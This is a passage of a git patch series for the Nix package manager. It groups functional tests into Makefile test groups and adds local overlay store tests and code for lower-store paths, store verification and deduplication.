b/src/libstore/sqlite.hh index b0e84f8ed..0c08267f7 100644 --- a/src/libstore/sqlite.hh +++ b/src/libstore/sqlite.hh @@ -29,7 +29,7 @@ enum class SQLiteOpenMode { * Use this mode if the database is on a read-only filesystem. * Fails with an error if the database does not exist. */ - Immutable + Immutable, }; /** From 2add2309397bd576712c1b90d364fb90525f4797 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Sun, 9 Jul 2023 21:53:06 -0400 Subject: [PATCH 0064/1251] Fix build --- src/libstore/local-overlay-store.hh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index e6b877b04..6f995ba39 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -25,7 +25,7 @@ struct LocalOverlayStoreConfig : virtual LocalStoreConfig Must be used as OverlayFS lower layer for this store's store dir. )"}; - const PathSetting upperLayer{(StoreConfig*) this, false, "", "upper-layer", + const PathSetting upperLayer{(StoreConfig*) this, "", "upper-layer", R"( Must be used as OverlayFS upper layer for this store's store dir. )"}; From 735a672e1f3bbad8e32b211ce33fa4a308ae355a Mon Sep 17 00:00:00 2001 From: John Ericson Date: Sun, 9 Jul 2023 22:24:51 -0400 Subject: [PATCH 0065/1251] Introduce notion of a test group, use for CA tests Grouping our tests should make it easier to understand the intent than one long poorly-arranged list. It also is convenient for running just the tests for a specific component when working on that component. We need at least one test group so this isn't dead code; I decided to collect the tests for the `ca-derivations` and `dynamic-derivations` experimental features in groups. Do ```bash make ca.test-group -jN ``` and ```bash make dyn-drv.test-group -jN ``` to try running just them. I originally did this as part of #8397 for being able to just the local overlay store alone. I am PRing it separately now so we can separate general infra from new features. --- Makefile | 2 ++ doc/manual/src/contributing/testing.md | 28 +++++++++++++++++++++++++ mk/lib.mk | 12 ++++++++++- mk/tests.mk | 8 +++++-- tests/ca/local.mk | 27 ++++++++++++++++++++++++ tests/dyn-drv/local.mk | 11 ++++++++++ tests/local.mk | 29 +++----------------------- 7 files changed, 88 insertions(+), 29 deletions(-) create mode 100644 tests/ca/local.mk create mode 100644 tests/dyn-drv/local.mk diff --git a/Makefile b/Makefile index c6220482a..31b54b93d 100644 --- a/Makefile +++ b/Makefile @@ -27,6 +27,8 @@ makefiles += \ src/libstore/tests/local.mk \ src/libexpr/tests/local.mk \ tests/local.mk \ + tests/ca/local.mk \ + tests/dyn-drv/local.mk \ tests/test-libstoreconsumer/local.mk \ tests/plugins/local.mk else diff --git a/doc/manual/src/contributing/testing.md b/doc/manual/src/contributing/testing.md index e5f80a928..da46a638d 100644 --- a/doc/manual/src/contributing/testing.md +++ b/doc/manual/src/contributing/testing.md @@ -14,6 +14,8 @@ You can run the whole testsuite with `make check`, or the tests for a specific c The functional tests reside under the `tests` directory and are listed in `tests/local.mk`. Each test is a bash script. +### Running the whole test suite + The whole test suite can be run with: ```shell-session @@ -23,6 +25,32 @@ ran test tests/bar.sh... [PASS] ... ``` +### Grouping tests + +Sometimes it is useful to group related tests so they can be easily run together without running the entire test suite. +For example, `tests/ca/local.mk` defines a "ca" test group for tests relating to content-addressed derivation outputs. + +That test group can be run like this: + +```shell-session +$ make ca.test-group -j50 +ran test tests/ca/nix-run.sh... [PASS] +ran test tests/ca/import-derivation.sh... [PASS] +... +``` + +The testgroup is defined in Make like this: +```makefile +$(test-group-name)-tests := \ + $(d)/test0.sh \ + $(d)/test1.sh \ + ... + +install-tests-groups += $(test-group-name) +``` + +### Running individual tests + Individual tests can be run with `make`: ```shell-session diff --git a/mk/lib.mk b/mk/lib.mk index 34fa624d8..cddaf9eb1 100644 --- a/mk/lib.mk +++ b/mk/lib.mk @@ -10,6 +10,7 @@ bin-scripts := noinst-scripts := man-pages := install-tests := +install-tests-groups := ifdef HOST_OS HOST_KERNEL = $(firstword $(subst -, ,$(HOST_OS))) @@ -121,7 +122,16 @@ $(foreach script, $(bin-scripts), $(eval $(call install-program-in,$(script),$(b $(foreach script, $(bin-scripts), $(eval programs-list += $(script))) $(foreach script, $(noinst-scripts), $(eval programs-list += $(script))) $(foreach template, $(template-files), $(eval $(call instantiate-template,$(template)))) -$(foreach test, $(install-tests), $(eval $(call run-install-test,$(test)))) +$(foreach test, $(install-tests), \ + $(eval $(call run-install-test,$(test))) \ + $(eval installcheck: $(test).test)) +$(foreach test-group, $(install-tests-groups), \ + $(eval $(call run-install-test-group,$(test-group))) \ + $(eval installcheck: $(test-group).test-group) \ + $(foreach test, $($(test-group)-tests), \ + $(eval $(call run-install-test,$(test))) \ + $(eval $(test-group).test-group: $(test).test))) + $(foreach file, $(man-pages), $(eval $(call install-data-in, $(file), $(mandir)/man$(patsubst .%,%,$(suffix $(file)))))) diff --git a/mk/tests.mk b/mk/tests.mk index 3ebbd86e3..ec8128bdf 100644 --- a/mk/tests.mk +++ b/mk/tests.mk @@ -4,8 +4,6 @@ test-deps = define run-install-test - installcheck: $1.test - .PHONY: $1.test $1.test: $1 $(test-deps) @env BASH=$(bash) $(bash) mk/run-test.sh $1 < /dev/null @@ -16,6 +14,12 @@ define run-install-test endef +define run-install-test-group + + .PHONY: $1.test-group + +endef + .PHONY: check installcheck print-top-help += \ diff --git a/tests/ca/local.mk b/tests/ca/local.mk new file mode 100644 index 000000000..d15312708 --- /dev/null +++ b/tests/ca/local.mk @@ -0,0 +1,27 @@ +ca-tests := \ + $(d)/build-with-garbage-path.sh \ + $(d)/build.sh \ + $(d)/concurrent-builds.sh \ + $(d)/derivation-json.sh \ + $(d)/duplicate-realisation-in-closure.sh \ + $(d)/gc.sh \ + $(d)/import-derivation.sh \ + $(d)/new-build-cmd.sh \ + $(d)/nix-copy.sh \ + $(d)/nix-run.sh \ + $(d)/nix-shell.sh \ + $(d)/post-hook.sh \ + $(d)/recursive.sh \ + $(d)/repl.sh \ + $(d)/selfref-gc.sh \ + $(d)/signatures.sh \ + $(d)/substitute.sh \ + $(d)/why-depends.sh + +install-tests-groups += ca + +clean-files += \ + $(d)/config.nix + +test-deps += \ + tests/ca/config.nix diff --git a/tests/dyn-drv/local.mk b/tests/dyn-drv/local.mk new file mode 100644 index 000000000..f065a5627 --- /dev/null +++ b/tests/dyn-drv/local.mk @@ -0,0 +1,11 @@ +dyn-drv-tests := \ + $(d)/text-hashed-output.sh \ + $(d)/recursive-mod-json.sh + +install-tests-groups += dyn-drv + +clean-files += \ + $(d)/config.nix + +test-deps += \ + tests/dyn-drv/config.nix diff --git a/tests/local.mk b/tests/local.mk index 88848926b..8cf79fcb3 100644 --- a/tests/local.mk +++ b/tests/local.mk @@ -14,7 +14,6 @@ nix_tests = \ flakes/absolute-paths.sh \ flakes/build-paths.sh \ flakes/flake-in-submodule.sh \ - ca/gc.sh \ gc.sh \ nix-collect-garbage-d.sh \ remote-store.sh \ @@ -27,8 +26,6 @@ nix_tests = \ user-envs-migration.sh \ binary-cache.sh \ multiple-outputs.sh \ - ca/build.sh \ - ca/new-build-cmd.sh \ nix-build.sh \ gc-concurrent.sh \ repair.sh \ @@ -46,24 +43,17 @@ nix_tests = \ referrers.sh \ optimise-store.sh \ substitute-with-invalid-ca.sh \ - ca/concurrent-builds.sh \ signing.sh \ - ca/build-with-garbage-path.sh \ hash.sh \ gc-non-blocking.sh \ check.sh \ - ca/substitute.sh \ nix-shell.sh \ - ca/signatures.sh \ - ca/nix-shell.sh \ - ca/nix-copy.sh \ check-refs.sh \ build-remote-input-addressed.sh \ secure-drv-outputs.sh \ restricted.sh \ fetchGitSubmodules.sh \ flakes/search-root.sh \ - ca/duplicate-realisation-in-closure.sh \ readfile-context.sh \ nix-channel.sh \ recursive.sh \ @@ -79,10 +69,7 @@ nix_tests = \ nar-access.sh \ pure-eval.sh \ eval.sh \ - ca/post-hook.sh \ repl.sh \ - ca/repl.sh \ - ca/recursive.sh \ binary-cache-build-remote.sh \ search.sh \ logging.sh \ @@ -107,13 +94,8 @@ nix_tests = \ fmt.sh \ eval-store.sh \ why-depends.sh \ - ca/why-depends.sh \ derivation-json.sh \ - ca/derivation-json.sh \ import-derivation.sh \ - ca/import-derivation.sh \ - dyn-drv/text-hashed-output.sh \ - dyn-drv/recursive-mod-json.sh \ nix_path.sh \ case-hack.sh \ placeholders.sh \ @@ -122,8 +104,7 @@ nix_tests = \ build.sh \ build-delete.sh \ output-normalization.sh \ - ca/nix-run.sh \ - selfref-gc.sh ca/selfref-gc.sh \ + selfref-gc.sh \ db-migration.sh \ bash-profile.sh \ pass-as-file.sh \ @@ -147,16 +128,12 @@ install-tests += $(foreach x, $(nix_tests), $(d)/$(x)) clean-files += \ $(d)/common/vars-and-functions.sh \ - $(d)/config.nix \ - $(d)/ca/config.nix \ - $(d)/dyn-drv/config.nix + $(d)/config.nix test-deps += \ tests/common/vars-and-functions.sh \ tests/config.nix \ - tests/ca/config.nix \ - tests/test-libstoreconsumer/test-libstoreconsumer \ - tests/dyn-drv/config.nix + tests/test-libstoreconsumer/test-libstoreconsumer ifeq ($(BUILD_SHARED_LIBS), 1) test-deps += tests/plugins/libplugintest.$(SO_EXT) From 83cfa82e52e26a287a5bdb60863751096ab02c63 Mon Sep 17 00:00:00 2001 From: cidkidnix Date: Thu, 13 Jul 2023 14:39:46 -0500 Subject: [PATCH 0066/1251] Add unset to NIX_STORE_DIR for local-overlay tests --- tests/overlay-local-store/build-inner.sh | 4 ++++ tests/overlay-local-store/check-post-init-inner.sh | 4 ++++ tests/overlay-local-store/redundant-add-inner.sh | 4 ++++ 3 files changed, 12 insertions(+) diff --git a/tests/overlay-local-store/build-inner.sh b/tests/overlay-local-store/build-inner.sh index 969de282d..beb40b2fc 100755 --- a/tests/overlay-local-store/build-inner.sh +++ b/tests/overlay-local-store/build-inner.sh @@ -6,6 +6,10 @@ set -x source common.sh +# Avoid store dir being inside sandbox build-dir +unset NIX_STORE_DIR +unset NIX_STATE_DIR + storeDirs initLowerStore diff --git a/tests/overlay-local-store/check-post-init-inner.sh b/tests/overlay-local-store/check-post-init-inner.sh index 421b64934..37ed8c113 100755 --- a/tests/overlay-local-store/check-post-init-inner.sh +++ b/tests/overlay-local-store/check-post-init-inner.sh @@ -6,6 +6,10 @@ set -x source common.sh +# Avoid store dir being inside sandbox build-dir +unset NIX_STORE_DIR +unset NIX_STATE_DIR + storeDirs initLowerStore diff --git a/tests/overlay-local-store/redundant-add-inner.sh b/tests/overlay-local-store/redundant-add-inner.sh index 921069c25..97969b40e 100755 --- a/tests/overlay-local-store/redundant-add-inner.sh +++ b/tests/overlay-local-store/redundant-add-inner.sh @@ -6,6 +6,10 @@ set -x source common.sh +# Avoid store dir being inside sandbox build-dir +unset NIX_STORE_DIR +unset NIX_STATE_DIR + storeDirs initLowerStore From 37598a13e877980d4654c632d10921c41c9ad976 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Tue, 18 Jul 2023 09:26:48 +0100 Subject: [PATCH 0067/1251] Revert "Check _NIX_TEST_NO_SANDBOX when setting _canUseSandbox." This reverts commit 7ed0ab2dabececd84578ddf70ecad0e528d67a28. --- tests/common/vars-and-functions.sh.in | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/common/vars-and-functions.sh.in b/tests/common/vars-and-functions.sh.in index ad0623871..dc7ce13cc 100644 --- a/tests/common/vars-and-functions.sh.in +++ b/tests/common/vars-and-functions.sh.in @@ -141,7 +141,7 @@ restartDaemon() { startDaemon } -if [[ -z "${_NIX_TEST_NO_SANDBOX:-}" ]] && [[ $(uname) == Linux ]] && [[ -L /proc/self/ns/user ]] && unshare --user true; then +if [[ $(uname) == Linux ]] && [[ -L /proc/self/ns/user ]] && unshare --user true; then _canUseSandbox=1 fi From f66b65a30ad1f14dd757874c12255eef42368b04 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Tue, 18 Jul 2023 09:29:27 +0100 Subject: [PATCH 0068/1251] Revert "Skip build-remote-trustless unless sandbox is supported." This reverts commit fad0dd4afb66577f9c17b5a315d120ac0f5acd94. --- tests/build-remote-trustless-should-fail-0.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/tests/build-remote-trustless-should-fail-0.sh b/tests/build-remote-trustless-should-fail-0.sh index b14101f83..fad1def59 100644 --- a/tests/build-remote-trustless-should-fail-0.sh +++ b/tests/build-remote-trustless-should-fail-0.sh @@ -2,7 +2,6 @@ source common.sh enableFeatures "daemon-trust-override" -requireSandboxSupport restartDaemon [[ $busybox =~ busybox ]] || skipTest "no busybox" From a33ee5c84305b85f5bcd0ea1be43b44cf601693f Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Tue, 18 Jul 2023 10:49:44 +0100 Subject: [PATCH 0069/1251] Paths added to lower store are accessible via overlay. --- tests/overlay-local-store/add-lower-inner.sh | 31 +++++++++++++++++++ tests/overlay-local-store/add-lower.sh | 5 +++ tests/overlay-local-store/common.sh | 11 ++++++- tests/overlay-local-store/local.mk | 3 +- .../redundant-add-inner.sh | 5 +-- 5 files changed, 51 insertions(+), 4 deletions(-) create mode 100755 tests/overlay-local-store/add-lower-inner.sh create mode 100755 tests/overlay-local-store/add-lower.sh diff --git a/tests/overlay-local-store/add-lower-inner.sh b/tests/overlay-local-store/add-lower-inner.sh new file mode 100755 index 000000000..40a1f397c --- /dev/null +++ b/tests/overlay-local-store/add-lower-inner.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash + +set -eu -o pipefail + +set -x + +source common.sh + +# Avoid store dir being inside sandbox build-dir +unset NIX_STORE_DIR +unset NIX_STATE_DIR + +storeDirs + +initLowerStore + +mountOverlayfs + +# Add something to the overlay store +overlayPath=$(addTextToStore "$storeB" "overlay-file" "Add to overlay store") +stat "$TEST_ROOT/merged-store/$overlayPath" + +# Now add something to the lower store +lowerPath=$(addTextToStore "$storeA" "lower-file" "Add to lower store") +stat "$TEST_ROOT/store-a/$lowerPath" + +# Remount overlayfs to ensure synchronization +mount -o remount "$TEST_ROOT/merged-store/nix/store" + +# Path should be accessible via overlay store +stat "$TEST_ROOT/merged-store/$lowerPath" diff --git a/tests/overlay-local-store/add-lower.sh b/tests/overlay-local-store/add-lower.sh new file mode 100755 index 000000000..f0ac46a91 --- /dev/null +++ b/tests/overlay-local-store/add-lower.sh @@ -0,0 +1,5 @@ +source common.sh + +requireEnvironment +setupConfig +execUnshare ./add-lower-inner.sh diff --git a/tests/overlay-local-store/common.sh b/tests/overlay-local-store/common.sh index 149102000..7850c068b 100644 --- a/tests/overlay-local-store/common.sh +++ b/tests/overlay-local-store/common.sh @@ -8,7 +8,7 @@ requireEnvironment () { } setupConfig () { - echo "drop-supplementary-groups = false" >> "$NIX_CONF_DIR"/nix.conf + echo "require-drop-supplementary-groups = false" >> "$NIX_CONF_DIR"/nix.conf echo "build-users-group = " >> "$NIX_CONF_DIR"/nix.conf } @@ -54,3 +54,12 @@ initLowerStore () { execUnshare () { exec unshare --mount --map-root-user "$@" } + +addTextToStore() { + storeDir=$1; shift + filename=$1; shift + content=$1; shift + filePath="$TEST_HOME/$filename" + echo "$content" > "$filePath" + nix-store --store "$storeDir" --add "$filePath" +} diff --git a/tests/overlay-local-store/local.mk b/tests/overlay-local-store/local.mk index b94238a67..5d14e2561 100644 --- a/tests/overlay-local-store/local.mk +++ b/tests/overlay-local-store/local.mk @@ -2,6 +2,7 @@ overlay-local-store-tests := \ $(d)/check-post-init.sh \ $(d)/redundant-add.sh \ $(d)/build.sh \ - $(d)/bad-uris.sh + $(d)/bad-uris.sh \ + $(d)/add-lower.sh install-tests-groups += overlay-local-store diff --git a/tests/overlay-local-store/redundant-add-inner.sh b/tests/overlay-local-store/redundant-add-inner.sh index 97969b40e..cfdae68b4 100755 --- a/tests/overlay-local-store/redundant-add-inner.sh +++ b/tests/overlay-local-store/redundant-add-inner.sh @@ -7,7 +7,7 @@ set -x source common.sh # Avoid store dir being inside sandbox build-dir -unset NIX_STORE_DIR +unset NIX_STORE_DIR # TODO: This causes toRealPath to fail (it expects this var to be set) unset NIX_STATE_DIR storeDirs @@ -27,4 +27,5 @@ path=$(nix-store --store "$storeB" --add ../dummy) stat $(toRealPath "$storeA/nix/store" "$path") # upper layer should still not have it (no redundant copy) -expect 1 stat $(toRealPath "$storeB/nix/store" "$path") +expect 1 stat $(toRealPath "$storeB/nix/store" "$path") # TODO: Check this is failing for the right reason. + # $storeB is a store URI not a directory path From 0ccf6382af4c34dafacd2a417ba658e62d81adbf Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Tue, 18 Jul 2023 12:30:33 +0100 Subject: [PATCH 0070/1251] Add test for verifying overlay store. --- tests/overlay-local-store/local.mk | 3 ++- tests/overlay-local-store/verify-inner.sh | 32 +++++++++++++++++++++++ tests/overlay-local-store/verify.sh | 5 ++++ 3 files changed, 39 insertions(+), 1 deletion(-) create mode 100755 tests/overlay-local-store/verify-inner.sh create mode 100755 tests/overlay-local-store/verify.sh diff --git a/tests/overlay-local-store/local.mk b/tests/overlay-local-store/local.mk index 5d14e2561..5e8c76b4e 100644 --- a/tests/overlay-local-store/local.mk +++ b/tests/overlay-local-store/local.mk @@ -3,6 +3,7 @@ overlay-local-store-tests := \ $(d)/redundant-add.sh \ $(d)/build.sh \ $(d)/bad-uris.sh \ - $(d)/add-lower.sh + $(d)/add-lower.sh \ + $(d)/verify.sh install-tests-groups += overlay-local-store diff --git a/tests/overlay-local-store/verify-inner.sh b/tests/overlay-local-store/verify-inner.sh new file mode 100755 index 000000000..b68800e5c --- /dev/null +++ b/tests/overlay-local-store/verify-inner.sh @@ -0,0 +1,32 @@ +#!/usr/bin/env bash + +set -eu -o pipefail + +set -x + +source common.sh + +# Avoid store dir being inside sandbox build-dir +unset NIX_STORE_DIR +unset NIX_STATE_DIR + +storeDirs + +initLowerStore + +mountOverlayfs + +#path=$(nix-store --store "$storeB" --add ../dummy) + +path=$(nix-build --store $storeB ../hermetic.nix --arg busybox "$busybox" --arg seed 1) + +inputDrvPath=$(find "$storeA" -name "*-hermetic-input-1.drv") +rm -v "$inputDrvPath" + +#tree "$TEST_ROOT" + +#rm -v "$TEST_ROOT/store-a/$path" + +nix-store --store "$storeB" --verify + +echo "SUCCESS" diff --git a/tests/overlay-local-store/verify.sh b/tests/overlay-local-store/verify.sh new file mode 100755 index 000000000..8b44603ff --- /dev/null +++ b/tests/overlay-local-store/verify.sh @@ -0,0 +1,5 @@ +source common.sh + +requireEnvironment +setupConfig +execUnshare ./verify-inner.sh From 58085e4eff1e06524f9ad8f6e9f271c19dcbba9e Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Tue, 18 Jul 2023 13:10:34 +0100 Subject: [PATCH 0071/1251] Have verify test exercise check-contents too. --- tests/overlay-local-store/verify-inner.sh | 25 +++++++++++++++-------- 1 file changed, 16 insertions(+), 9 deletions(-) diff --git a/tests/overlay-local-store/verify-inner.sh b/tests/overlay-local-store/verify-inner.sh index b68800e5c..5f8cbcf0e 100755 --- a/tests/overlay-local-store/verify-inner.sh +++ b/tests/overlay-local-store/verify-inner.sh @@ -16,17 +16,24 @@ initLowerStore mountOverlayfs -#path=$(nix-store --store "$storeB" --add ../dummy) +# Realise a derivation from the lower store to propagate paths to overlay DB +nix-store --store "$storeB" --realise $drvPath -path=$(nix-build --store $storeB ../hermetic.nix --arg busybox "$busybox" --arg seed 1) +# Also ensure dummy file exists in overlay DB +dummyPath=$(nix-store --store "$storeB" --add ../dummy) -inputDrvPath=$(find "$storeA" -name "*-hermetic-input-1.drv") -rm -v "$inputDrvPath" +# Verify should be successful at this point +nix-store --store "$storeB" --verify --check-contents -#tree "$TEST_ROOT" +# Now delete one of the derivation inputs in the lower store +inputDrvFullPath=$(find "$storeA" -name "*-hermetic-input-1.drv") +inputDrvPath=${inputDrvFullPath/*\/nix\/store\///nix/store/} +rm -v "$inputDrvFullPath" -#rm -v "$TEST_ROOT/store-a/$path" +# And truncate the contents of dummy file in lower store +find "$storeA" -name "*-dummy" -exec truncate -s 0 {} \; -nix-store --store "$storeB" --verify - -echo "SUCCESS" +# Verify should fail with the messages about missing input and modified dummy file +verifyOutput=$(expectStderr 1 nix-store --store "$storeB" --verify --check-contents) +<<<"$verifyOutput" grepQuiet "path '$inputDrvPath' disappeared, but it still has valid referrers!" +<<<"$verifyOutput" grepQuiet "path '$dummyPath' was modified! expected hash" From d5cd74a4012d583d11d491bec9f1fa9a07b11973 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Tue, 18 Jul 2023 13:49:13 +0100 Subject: [PATCH 0072/1251] Override verifyStore to always pass NoRepair for LocalOverlayStore. --- src/libstore/local-overlay-store.cc | 7 +++++++ src/libstore/local-overlay-store.hh | 2 ++ tests/overlay-local-store/verify-inner.sh | 3 ++- 3 files changed, 11 insertions(+), 1 deletion(-) diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index ddccb8c5a..182955fbe 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -188,6 +188,13 @@ void LocalOverlayStore::deleteGCPath(const Path & path, uint64_t & bytesFreed) } } +bool LocalOverlayStore::verifyStore(bool checkContents, RepairFlag repair) +{ + if (repair) + warn("local-overlay: store does not support --verify --repair"); + return LocalStore::verifyStore(checkContents, NoRepair); +} + static RegisterStoreImplementation regLocalOverlayStore; } diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index 6f995ba39..8fa99ee14 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -112,6 +112,8 @@ private: Callback> callback) noexcept override; void deleteGCPath(const Path & path, uint64_t & bytesFreed) override; + + bool verifyStore(bool checkContents, RepairFlag repair) override; }; } diff --git a/tests/overlay-local-store/verify-inner.sh b/tests/overlay-local-store/verify-inner.sh index 5f8cbcf0e..8f8839302 100755 --- a/tests/overlay-local-store/verify-inner.sh +++ b/tests/overlay-local-store/verify-inner.sh @@ -34,6 +34,7 @@ rm -v "$inputDrvFullPath" find "$storeA" -name "*-dummy" -exec truncate -s 0 {} \; # Verify should fail with the messages about missing input and modified dummy file -verifyOutput=$(expectStderr 1 nix-store --store "$storeB" --verify --check-contents) +verifyOutput=$(expectStderr 1 nix-store --store "$storeB" --verify --check-contents --repair) <<<"$verifyOutput" grepQuiet "path '$inputDrvPath' disappeared, but it still has valid referrers!" <<<"$verifyOutput" grepQuiet "path '$dummyPath' was modified! expected hash" +<<<"$verifyOutput" grepQuiet "store does not support --verify --repair" From 614efc1240dbfefbdabced808decd8defd33df8e Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Tue, 18 Jul 2023 13:59:22 +0100 Subject: [PATCH 0073/1251] Add test for store optimise path deduplication. --- src/libstore/local-overlay-store.cc | 5 +++++ src/libstore/local-overlay-store.hh | 2 ++ tests/overlay-local-store/local.mk | 3 ++- tests/overlay-local-store/optimise-inner.sh | 19 +++++++++++++++++++ tests/overlay-local-store/optimise.sh | 5 +++++ 5 files changed, 33 insertions(+), 1 deletion(-) create mode 100755 tests/overlay-local-store/optimise-inner.sh create mode 100755 tests/overlay-local-store/optimise.sh diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index 182955fbe..da0c8e3d5 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -188,6 +188,11 @@ void LocalOverlayStore::deleteGCPath(const Path & path, uint64_t & bytesFreed) } } +void LocalOverlayStore::optimiseStore() +{ + warn("not implemented"); +} + bool LocalOverlayStore::verifyStore(bool checkContents, RepairFlag repair) { if (repair) diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index 8fa99ee14..ef377b7a6 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -113,6 +113,8 @@ private: void deleteGCPath(const Path & path, uint64_t & bytesFreed) override; + void optimiseStore() override; + bool verifyStore(bool checkContents, RepairFlag repair) override; }; diff --git a/tests/overlay-local-store/local.mk b/tests/overlay-local-store/local.mk index 5e8c76b4e..3a6d00bc1 100644 --- a/tests/overlay-local-store/local.mk +++ b/tests/overlay-local-store/local.mk @@ -4,6 +4,7 @@ overlay-local-store-tests := \ $(d)/build.sh \ $(d)/bad-uris.sh \ $(d)/add-lower.sh \ - $(d)/verify.sh + $(d)/verify.sh \ + $(d)/optimise.sh install-tests-groups += overlay-local-store diff --git a/tests/overlay-local-store/optimise-inner.sh b/tests/overlay-local-store/optimise-inner.sh new file mode 100755 index 000000000..76c5a0cb6 --- /dev/null +++ b/tests/overlay-local-store/optimise-inner.sh @@ -0,0 +1,19 @@ +#!/usr/bin/env bash + +set -eu -o pipefail + +set -x + +source common.sh + +# Avoid store dir being inside sandbox build-dir +unset NIX_STORE_DIR +unset NIX_STATE_DIR + +storeDirs + +initLowerStore + +mountOverlayfs + +nix-store --store "$storeB" --optimise diff --git a/tests/overlay-local-store/optimise.sh b/tests/overlay-local-store/optimise.sh new file mode 100755 index 000000000..569afa248 --- /dev/null +++ b/tests/overlay-local-store/optimise.sh @@ -0,0 +1,5 @@ +source common.sh + +requireEnvironment +setupConfig +execUnshare ./optimise-inner.sh From a9510f950228957cde98001b67e123aa2d4d62c9 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Wed, 19 Jul 2023 11:23:54 +0100 Subject: [PATCH 0074/1251] Implement test for store path deduplication. --- tests/overlay-local-store/common.sh | 16 ++++------ tests/overlay-local-store/optimise-inner.sh | 33 +++++++++++++++++++++ 2 files changed, 39 insertions(+), 10 deletions(-) diff --git a/tests/overlay-local-store/common.sh b/tests/overlay-local-store/common.sh index 7850c068b..5a678c947 100644 --- a/tests/overlay-local-store/common.sh +++ b/tests/overlay-local-store/common.sh @@ -22,11 +22,12 @@ storeDirs () { # Mounting Overlay Store mountOverlayfs () { + mergedStorePath="$TEST_ROOT/merged-store/nix/store" mount -t overlay overlay \ -o lowerdir="$storeA/nix/store" \ -o upperdir="$storeBTop" \ -o workdir="$TEST_ROOT/workdir" \ - "$TEST_ROOT/merged-store/nix/store" \ + "$mergedStorePath" \ || skipTest "overlayfs is not supported" cleanupOverlay () { @@ -36,6 +37,10 @@ mountOverlayfs () { trap cleanupOverlay EXIT } +remountOverlayfs () { + mount -o remount "$mergedStorePath" +} + toRealPath () { storeDir=$1; shift storePath=$1; shift @@ -54,12 +59,3 @@ initLowerStore () { execUnshare () { exec unshare --mount --map-root-user "$@" } - -addTextToStore() { - storeDir=$1; shift - filename=$1; shift - content=$1; shift - filePath="$TEST_HOME/$filename" - echo "$content" > "$filePath" - nix-store --store "$storeDir" --add "$filePath" -} diff --git a/tests/overlay-local-store/optimise-inner.sh b/tests/overlay-local-store/optimise-inner.sh index 76c5a0cb6..c60c742a2 100755 --- a/tests/overlay-local-store/optimise-inner.sh +++ b/tests/overlay-local-store/optimise-inner.sh @@ -16,4 +16,37 @@ initLowerStore mountOverlayfs +# Create a file to add to store +dupFilePath="$TEST_ROOT/dup-file" +echo Duplicate > "$dupFilePath" + +# Add it to the overlay store (it will be written to the upper layer) +dupFileStorePath=$(nix-store --store "$storeB" --add "$dupFilePath") + +# Now add it to the lower store so the store path is duplicated +nix-store --store "$storeA" --add "$dupFilePath" + +# Ensure overlayfs and layers and synchronised +remountOverlayfs + +dupFilename="${dupFileStorePath#/nix/store}" +lowerPath="$storeA/$dupFileStorePath" +upperPath="$storeBTop/$dupFilename" +overlayPath="$mergedStorePath/$dupFilename" + +# Check store path exists in both layers and overlay +lowerInode=$(stat -c %i "$lowerPath") +upperInode=$(stat -c %i "$upperPath") +overlayInode=$(stat -c %i "$overlayPath") +[[ $upperInode == $overlayInode ]] +[[ $upperInode != $lowerInode ]] + +# Run optimise to deduplicate store paths nix-store --store "$storeB" --optimise +remountOverlayfs + +stat "$lowerPath" +stat "$overlayPath" +expect 1 stat "$upperPath" + +#expect 1 stat $(toRealPath "$storeA/nix/store" "$path") From 8ddbcb736a17d08ce899de345548064eebf673c9 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Wed, 19 Jul 2023 12:32:32 +0100 Subject: [PATCH 0075/1251] Implement overlay store deduplication. --- src/libstore/local-overlay-store.cc | 18 +++++++++++++++++- tests/overlay-local-store/optimise-inner.sh | 3 +-- 2 files changed, 18 insertions(+), 3 deletions(-) diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index da0c8e3d5..9e530ed9b 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -190,7 +190,23 @@ void LocalOverlayStore::deleteGCPath(const Path & path, uint64_t & bytesFreed) void LocalOverlayStore::optimiseStore() { - warn("not implemented"); + Activity act(*logger, actOptimiseStore); + + // Note for LocalOverlayStore, queryAllValidPaths only returns paths in upper layer + auto paths = queryAllValidPaths(); + + act.progress(0, paths.size()); + + uint64_t done = 0; + + for (auto & path : paths) { + if (lowerStore->isValidPath(path)) { + // Deduplicate store path + deletePath(toUpperPath(path)); + } + done++; + act.progress(done, paths.size()); + } } bool LocalOverlayStore::verifyStore(bool checkContents, RepairFlag repair) diff --git a/tests/overlay-local-store/optimise-inner.sh b/tests/overlay-local-store/optimise-inner.sh index c60c742a2..2b778b311 100755 --- a/tests/overlay-local-store/optimise-inner.sh +++ b/tests/overlay-local-store/optimise-inner.sh @@ -45,8 +45,7 @@ overlayInode=$(stat -c %i "$overlayPath") nix-store --store "$storeB" --optimise remountOverlayfs +# Check path only exists in lower store stat "$lowerPath" stat "$overlayPath" expect 1 stat "$upperPath" - -#expect 1 stat $(toRealPath "$storeA/nix/store" "$path") From d1c77b201a1b0e6c14470b69c134652a8858fc18 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Wed, 19 Jul 2023 13:25:37 +0100 Subject: [PATCH 